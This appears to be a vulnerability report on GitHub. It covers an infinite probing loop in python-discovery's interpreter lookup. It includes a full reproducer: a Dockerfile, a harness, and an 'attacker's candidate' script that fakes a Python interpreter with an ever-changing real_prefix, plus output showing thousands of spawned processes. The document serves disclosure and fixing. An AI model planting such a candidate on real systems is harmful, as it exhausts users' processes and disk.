Repository navigation
Description
Interpreter discovery keeps probing a candidate that reports its base prefix with a new ../ spelling on each query. The configured query timeout does not stop the loop.
Affected code
src/python_discovery/_py_info.py:459 at the reported commit. The reproducer also returns BUG on current main 004294957ed227fe7e52b2864952ba09fd28b220.
Mechanism
resolve_to_system() follows each reported base path without recognizing that the different strings reach the same interpreter.
Reproduction
Check out the reported commit or current main. Save the files below as named, then build and run:
docker build -t python-discovery-audit -f - . <<'DOCKERFILE'
FROM python:3.15-bookworm
RUN python -m venv /opt/venv
ENV PATH=/opt/venv/bin:$PATH
COPY . /src
WORKDIR /src
ENV SETUPTOOLS_SCM_PRETEND_VERSION=1.9.1
RUN pip install -e . --group test
DOCKERFILE
docker run --rm --network=none --memory=2g -u 0 -w /src \
-v "$PWD/repro:/tmp/repro:ro" -v "$PWD/repro.d:/tmp/repro.d:ro" \
python-discovery-audit /tmp/reprorepro
#!/usr/bin/env python3
import os
import shutil
import subprocess
import tempfile
from pathlib import Path
PYTHON = "/opt/venv/bin/python" # the image's install of python-discovery
PROBE_TIMEOUT = 2 # PY_DISCOVERY_TIMEOUT; a candidate that never answers is probed twice, so costs at most 4 s
PATIENCE = 10 * PROBE_TIMEOUT
REPRO_D = Path("/tmp/repro.d")
work = Path(tempfile.mkdtemp())
def find_python_with_only(candidate_source, name):
"""Install candidate_source as <work>/<name>/bin/python3.99, the one file on PATH, and run the caller on it."""
candidate = work / name / "bin" / "python3.99"
candidate.parent.mkdir(parents=True)
shutil.copy(candidate_source, candidate)
candidate.chmod(0o755)
cache = work / name / "cache"
try:
caller = subprocess.run(
[PYTHON, REPRO_D / "trace_spawns.py", REPRO_D / "find_python.py", cache],
env={"PATH": str(candidate.parent), "PY_DISCOVERY_TIMEOUT": str(PROBE_TIMEOUT)},
stdout=subprocess.PIPE,
timeout=PATIENCE,
check=True,
)
output, still_running = caller.stdout, False
except subprocess.TimeoutExpired as expired:
output, still_running = expired.stdout, True
return candidate, output.decode().splitlines(), still_running, cache
# control: the candidate spells its real_prefix the same way in every answer
candidate, output, _, _ = find_python_with_only(REPRO_D / "candidate_same_prefix_spelling.py", "control")
for line in output:
print("CONTROL ", line[:140])
control_returned = f"RETURNED {candidate}" in output
# attack: the candidate spells its real_prefix differently in every answer
candidate, output, still_running, cache = find_python_with_only(
REPRO_D / "candidate_new_prefix_spelling_each_time.py", "attack"
)
for line in output[:4]:
print("OBSERVED", line[:140])
print("OBSERVED …")
# check: the attack call must end like the control, after a couple of probes of the one file
attack_returned = any(line.startswith("RETURNED") for line in output)
spawned = [line.split()[1] for line in output if line.startswith("SPAWNED")]
paths_to_candidate = {exe for exe in spawned if os.path.samefile(exe, candidate)}
cache_entries = list(cache.rglob("*.json"))
print(f"CONTROL get_interpreter() returned the candidate: {control_returned}")
print(f"OBSERVED get_interpreter() returned: {attack_returned}; still running after {PATIENCE} s: {still_running}")
print(
f"OBSERVED {len(spawned)} processes spawned, {len(paths_to_candidate)} distinct paths that are the candidate file"
)
print(f"OBSERVED {len(cache_entries)} cache entries, {sum(entry.stat().st_size for entry in cache_entries)} bytes")
shutil.rmtree(work)
# 100: far more than any real chain of virtual environments
print("BUG" if control_returned and still_running and not attack_returned and len(paths_to_candidate) > 100 else "OK")repro.d/candidate_new_prefix_spelling_each_time.py
#!/usr/bin/python3
"""The attacker's candidate, installed as python3.99 on PATH.
It answers every interrogation at once, like a legacy virtualenv: no system_executable, and a real_prefix to look in.
The real_prefix is its own directory, spelled differently in every answer.
"""
import json
import os
import random
import sys
start_cookie, end_cookie = sys.argv[2:4]
my_dir = os.path.dirname(os.path.realpath(sys.argv[0]))
parent, leaf = os.path.split(my_dir)
# both lead back to my_dir; "..", because pathlib (which keys the in-memory cache) folds "/./" and "//" but keeps ".."
detours = [os.path.join("..", leaf), os.path.join("..", "..", os.path.basename(parent), leaf)]
answer = {
"version_info": {"major": 3, "minor": 99, "micro": 0, "releaselevel": "final", "serial": 0},
"implementation": "CPython",
"architecture": 64,
"sysconfig_platform": "linux-x86_64",
"free_threaded": False,
"debug_build": False,
"executable": sys.argv[0],
"original_executable": sys.argv[0],
"system_executable": None,
"prefix": my_dir,
"base_prefix": None,
"real_prefix": os.path.join(my_dir, *random.choices(detours, k=64)), # 2**64 spellings
}
# the framing _py_info_collect.py uses
sys.stdout.write(start_cookie[::-1] + json.dumps(answer) + end_cookie[::-1])repro.d/candidate_same_prefix_spelling.py
#!/usr/bin/python3
"""The control candidate, installed as python3.99 on PATH.
Identical to candidate_new_prefix_spelling_each_time.py, except that real_prefix is spelled the same in every answer.
"""
import json
import os
import sys
start_cookie, end_cookie = sys.argv[2:4]
my_dir = os.path.dirname(os.path.realpath(sys.argv[0]))
parent, leaf = os.path.split(my_dir)
detours = [os.path.join("..", leaf), os.path.join("..", "..", os.path.basename(parent), leaf)]
answer = {
"version_info": {"major": 3, "minor": 99, "micro": 0, "releaselevel": "final", "serial": 0},
"implementation": "CPython",
"architecture": 64,
"sysconfig_platform": "linux-x86_64",
"free_threaded": False,
"debug_build": False,
"executable": sys.argv[0],
"original_executable": sys.argv[0],
"system_executable": None,
"prefix": my_dir,
"base_prefix": None,
"real_prefix": os.path.join(my_dir, *detours * 32), # the same 64 detours every time
}
sys.stdout.write(start_cookie[::-1] + json.dumps(answer) + end_cookie[::-1])repro.d/find_python.py
"""The caller, as virtualenv or tox run it for `-p 3.99`: a version spec, the process environment, a disk cache."""
import os
import sys
from pathlib import Path
from python_discovery import DiskCache, get_interpreter
info = get_interpreter("3.99", env=os.environ, cache=DiskCache(Path(sys.argv[1])))
print("RETURNED", info and info.executable, flush=True)repro.d/trace_spawns.py
"""Run the script in argv[1] with the remaining arguments, printing the argv of every process it starts."""
import runpy
import sys
def print_spawn(event, args):
if event == "subprocess.Popen":
print("SPAWNED", *args[1], flush=True)
sys.addaudithook(print_spawn)
sys.argv = sys.argv[1:]
runpy.run_path(sys.argv[0], run_name="__main__")Output on 004294957ed227fe7e52b2864952ba09fd28b220:
CONTROL SPAWNED /usr/local/bin/python3.15 /src/src/python_discovery/_py_info_collect.py ebdf9506a37d264d7ace7bb96533075a dd2f95a6ff01c122d54a3ae2ba6
CONTROL SPAWNED /tmp/tmpd9qvg5wj/control/bin/python3.99 /src/src/python_discovery/_py_info_collect.py 40696542ea45dea83c7672e5f264e9c0 38720950eb16c
CONTROL SPAWNED /tmp/tmpd9qvg5wj/control/bin/../bin/../../control/bin/../bin/../../control/bin/../bin/../../control/bin/../bin/../../control/bin/../
CONTROL RETURNED /tmp/tmpd9qvg5wj/control/bin/python3.99
OBSERVED SPAWNED /usr/local/bin/python3.15 /src/src/python_discovery/_py_info_collect.py d6477605b61ec19ffc4d9e4e338bfde8 aa5b190a217d73b12c8277a771d
OBSERVED SPAWNED /tmp/tmpd9qvg5wj/attack/bin/python3.99 /src/src/python_discovery/_py_info_collect.py b0f26b6e4caf3670ebda0d973e5df20d 6c12d5736536e3
OBSERVED SPAWNED /tmp/tmpd9qvg5wj/attack/bin/../../attack/bin/../../attack/bin/../bin/../bin/../../attack/bin/../../attack/bin/../../attack/bin/../bi
OBSERVED SPAWNED /tmp/tmpd9qvg5wj/attack/bin/../bin/../../attack/bin/../bin/../bin/../../attack/bin/../../attack/bin/../bin/../../attack/bin/../../at
OBSERVED …
CONTROL get_interpreter() returned the candidate: True
OBSERVED get_interpreter() returned: False; still running after 20 s: True
OBSERVED 2002 processes spawned, 2001 distinct paths that are the candidate file
OBSERVED 2001 cache entries, 7689430 bytes
BUG
Expected: The lookup should detect the repeated interpreter and stop.
Impact
Reproducibility is moderate because the setup requires a specific candidate or configuration. Exposure is unlikely: the candidate must return a changing but equivalent base path on successive probes. The reproduced effect stays within the caller's configured cache, search path, or interpreter.
Credits
Reported by Anthropic's OSS Scanner: ANT-2026-CJZ08KPY.
Activity